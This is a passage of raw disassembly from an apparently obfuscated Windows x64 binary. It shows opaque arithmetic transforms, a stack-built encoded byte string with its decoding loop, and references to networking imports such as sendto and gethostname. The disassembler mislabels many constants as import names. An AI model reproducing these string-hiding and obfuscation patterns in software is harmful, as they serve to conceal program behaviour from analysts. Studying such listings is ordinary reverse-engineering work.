add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
mov byte [rbp + r10 + 0xd30], r12b
jmp 0x1401d84cb
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401d7f4f
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
jmp 0x1401d7e11
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 8
jmp 0x1401d82b6
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r12d, [rcx + r8]
sub r12b, 0x60
jmp 0x1401d8429
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
sub cl, 0x68
jmp 0x1401d83c0
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401d834b
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x18
jmp 0x1401d7d6b
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401d7f69
lea rdx, [r10 + r12]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401d8034
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401d7f84
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
jmp 0x1401d7e34
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401d7fae
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x18
jmp 0x1401d82b6
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401d7fda
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x68
jmp 0x1401d8426
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401d8009
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, r8b
sub r12b, al
sub r12b, 0x10
add r12b, dl
jmp 0x1401d83fb
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401d8030
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 8
jmp 0x1401d837b
mov r12, qword [rbp - 8]
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401d8292
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401d80e8
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
cmp rbx, 0x80
jae 0x1401d8267
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401d8189
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
cmp r9, 0x42
jb 0x1401d7e71
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, cl
jmp 0x1401d837e
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401d8112
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x2c
jmp 0x1401d7d6b
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401d812f
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401d834b
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401d815b
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x74
jmp 0x1401d8429
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401d8076
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r11b
jmp 0x1401d82b8
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401d81a6
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401d7e34
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401d81d0
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x38
jmp 0x1401d845c
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401d81fc
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x30
jmp 0x1401d8426
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401d8219
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401d83e7
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401d823c
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add cl, 0x80
jmp 0x1401d83c0
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401d80b7
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x28
jmp 0x1401d7d8c
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, byte [rbp + r10 + 0xd30]
sub r12b, al
sub r12b, 0x20
add r12b, r8b
jmp 0x1401d8001
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
add cl, cl
sub cl, byte [rbp + r10 + 0xd30]
add cl, r8b
add cl, dl
mov qword [rbp - 8], rcx
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xd30], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401d8462
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r12d, [rcx + r8]
sub r12b, 0x54
jmp 0x1401d8429
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, r8b
sub r12b, al
sub r12b, 4
jmp 0x1401d8001
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov qword [rbp - 8], rcx
jmp 0x1401d83a6
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xc
add cl, r8b
mov qword [rbp - 8], rcx
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add r9, r15
jmp 0x1401d83cc
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
sub cl, 0x6c
add al, al
sub r8b, al
add cl, r8b
mov qword [rbp - 8], rcx
sub r10, r15
mov r12, qword [rbp - 8]
jmp 0x1401d84cb
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r8b
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r12b
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add rbx, r9
mov qword [rbp - 8], r12
movzx eax, r12b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401d84cb
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov cl, r11b
sub cl, al
sub cl, 0x24
add cl, dl
mov qword [rbp - 8], rcx
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
mov r12, qword [rbp - 8]
jmp 0x1401d84bc
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov r12b, cl
mov qword [rbp - 8], r12
movzx eax, byte [rbp + r10 + 0xd30]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401d7b11
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x24
add cl, r8b
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401d7b0c
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r8b
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401d7afc
lea rax, [rbp + 0x16a0f40]
mov cl, dl
mov qword [rbp - 8], rcx
jmp 0x1401d8546
lea rax, [rbp + 0x6bcacc]
mov qword [rbp - 8], r12
jmp 0x1401d8546
lea rax, [rbp + 0xd30]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
xor ebx, ebx
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d8], rbx
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x1401d8564
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.140087800
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1420]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 7
cmova rdx, qword [rbp + 0x2c0]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r12d, [r9 - 0x3e]
mov r8d, r12d
lea rcx, [rbp + 0x1420]
call fcn.140174580
nop
lea rcx, [rbp + 0x1428]
call fcn.1400ac5c0
test rax, rax
jne 0x1401d8606
mov rax, qword [rbp + 0x1420]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1420]
add rcx, rax
xor r8d, r8d
mov edx, r12d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x1420]
call fcn.1400a2eb0
nop
lea rcx, [rbp + 0x2c0]
call fcn.1400aa310
mov byte [rbp + 0xa50], 0x9b
mov byte [rbp + 0xa51], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa52], 0x90
mov byte [rbp + 0xa53], 0xdb
mov byte [rbp + 0xa54], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa55], Ordinal_217
mov byte [rbp + 0xa56], 0x7b
mov byte [rbp + 0xa57], Ordinal_217
mov byte [rbp + 0xa58], 0x43
mov byte [rbp + 0xa59], Ordinal_211
mov byte [rbp + 0xa5a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa5b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa5c], 0x5e
mov byte [rbp + 0xa5d], Ordinal_211
mov byte [rbp + 0xa5e], 0x5d
mov byte [rbp + 0xa5f], Ordinal_211
mov byte [rbp + 0xa60], WSASetLastError
mov byte [rbp + 0xa61], 0xc9
mov byte [rbp + 0xa62], 0x7a
mov byte [rbp + 0xa63], 0xcb
mov byte [rbp + 0xa64], Ordinal_79
mov byte [rbp + 0xa65], Ordinal_200
mov byte [rbp + 0xa66], 0x64
mov byte [rbp + 0xa67], Ordinal_200
mov byte [rbp + 0xa68], 0x54
mov byte [rbp + 0xa69], 0xc1
mov byte [rbp + 0xa6a], 0x5b
mov byte [rbp + 0xa6b], Ordinal_200
mov byte [rbp + 0xa6c], 0x9f
mov byte [rbp + 0xa6d], 0x3d
mov byte [rbp + 0xa6e], 0x9a
mov byte [rbp + 0xa6f], 0x3f
mov byte [rbp + 0xa70], 0x84
mov byte [rbp + 0xa71], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa72], 0xa8
mov byte [rbp + 0xa73], Ordinal_60
mov byte [rbp + 0xa74], 0xad
mov byte [rbp + 0xa75], gethostname
mov byte [rbp + 0xa76], 0xb8
mov byte [rbp + 0xa77], Ordinal_60
mov byte [rbp + 0xa78], 0xad
mov byte [rbp + 0xa79], Ordinal_50
mov byte [rbp + 0xa7a], 0xa0
mov byte [rbp + 0xa7b], gethostname
mov byte [rbp + 0xa7c], 0xbf
mov byte [rbp + 0xa7d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa7e], 0x78
mov byte [rbp + 0xa7f], Ordinal_50
mov byte [rbp + 0xa80], Ordinal_143
mov byte [rbp + 0xa81], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa82], 0xb3
mov byte [rbp + 0xa83], Ordinal_45
mov byte [rbp + 0xa84], 0xb2
mov byte [rbp + 0xa85], Ordinal_41
mov byte [rbp + 0xa86], Ordinal_41
mov byte [rbp + 0xa87], Ordinal_45
xor eax, eax
mov qword [rbp + 0xa88], rax
mov dword [rbp + 0xa90], eax
mov word [rbp + 0xa94], ax
mov byte [rbp + 0xa96], al
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x47
jae 0x1401d9363
movzx r8d, byte [rbp + r9 + 0xa50]
mov rdx, r8
cmp rbx, r9
ja 0x1401d935a
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401d8827
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul r14, rax, 0xfffffffffffffffe
add r14, rcx
add r14, rdx
add r14b, 0x44
jmp 0x1401d8a7d
je 0x1401d92c6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401d928f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401d9265
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401d9214
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401d9351
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x1401d8890
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x6c
jmp 0x1401d88d1
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401d9203
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401d91e1
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401d9195
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401d9170
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401d90de
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x1401d8dbb
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401d8d98
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401d8d76
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401d8d51
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401d8d2f
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401d8d0a
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1401d8ce6
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401d8cd2
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401d932a
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401d92fe
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x1401d8a86
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401d8a5a
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1401d8a37
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1401d8c6a
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401d8bdf
mov rbx, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401d8bb7
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401d8b95
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401d8b70
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1401d8b4d
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x1401d8b2a
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401d8b07
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x1401d8ae4
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401d8ad0
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1401d8aad
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401d88de
mov rbx, rcx
lea r10, [rcx + 6]
jmp 0x1401d88de
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x14
jmp 0x1401d88d1
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rbp - 0x68], r14
jmp 0x1401d885e
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x24
mov qword [rbp - 0x68], r14
jmp 0x1401d87eb
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x60
add dl, cl
jmp 0x1401d9234
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x1401d8eb1
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x70
jmp 0x1401d9282
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401d91b1
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
add dl, 0x80
jmp 0x1401d92ac
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 8
jmp 0x1401d8e45
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401d90fe
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x18
jmp 0x1401d8f4a
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x1401d92e3
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 4
cmp rbx, 4
jae 0x1401d908d
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x1401d8f84
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r14b, r8b
sub r14b, al
sub r14b, 0x38
add r14b, dl
cmp r10, 4
jb 0x1401d907c
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1401d9234
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
lea rax, [rbx + r10]
cmp rax, 0x1000
je 0x1401d90b6
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1401d8e6f
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x1401d8bfd
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401d90ed
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x20
jmp 0x1401d8e45
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401d92ac
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x30
jmp 0x1401d91b3
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401d9282
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x40
jmp 0x1401d8ec2
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401d8ac9
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x1401d8de3
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x1401d8c8d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d8e00
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401d8bc6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401d8e1d
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x1401d8b7f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401d8e4e
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x40
mov qword [rbp - 0x68], r14
jmp 0x1401d92b6
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401d8c8d
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_45
jmp 0x1401d8d60
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d8e99
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x44
jmp 0x1401d8ac9
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401d8ecb
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x68], rdx
jmp 0x1401d9260
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401d8ef7
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x24
jmp 0x1401d92ac
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401d8f21
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x14
jmp 0x1401d8b8e
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401d8f53
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x68], rdx
jmp 0x1401d9136
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401d8bfd
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 4
jmp 0x1401d92e3
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d8fa1
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401d8bc6
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401d8fbe
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401d90ed
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401d8fdb
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x1401d8d19
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401d9005
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 8
jmp 0x1401d91b1
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401d9031
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
add dl, 0x80
jmp 0x1401d9282
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401d904e
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401d8eb1
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401d8c38
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x70
jmp 0x1401d8ac9
mov byte [rbp + r9 + 0xa50], r14b
mov qword [rbp - 0x68], r14
jmp 0x1401d92f6
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, byte [rbp + r9 + 0xa50]
sub cl, al
add cl, r8b
sub dl, 0x60
jmp 0x1401d91b1
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0xa50]
jmp 0x1401d8b8b
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rbp - 0x68], rdx
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xa50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0xa50], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov r14, qword [rbp - 0x68]
jmp 0x1401d92e7
movabs rdx, 0x586fb6e44ef8d91c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401d92ac
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x4c
add dl, cl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, dl
add r8b, cl
mov byte [rbp + r9 + 0xa50], r8b
jmp 0x1401d92ac
movabs rdx, 0x7e92d9196e128b8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401d9282
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401d9223
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rbp - 0x68], rdx
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xa50], cl
add r10, r15
jmp 0x1401d9286
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
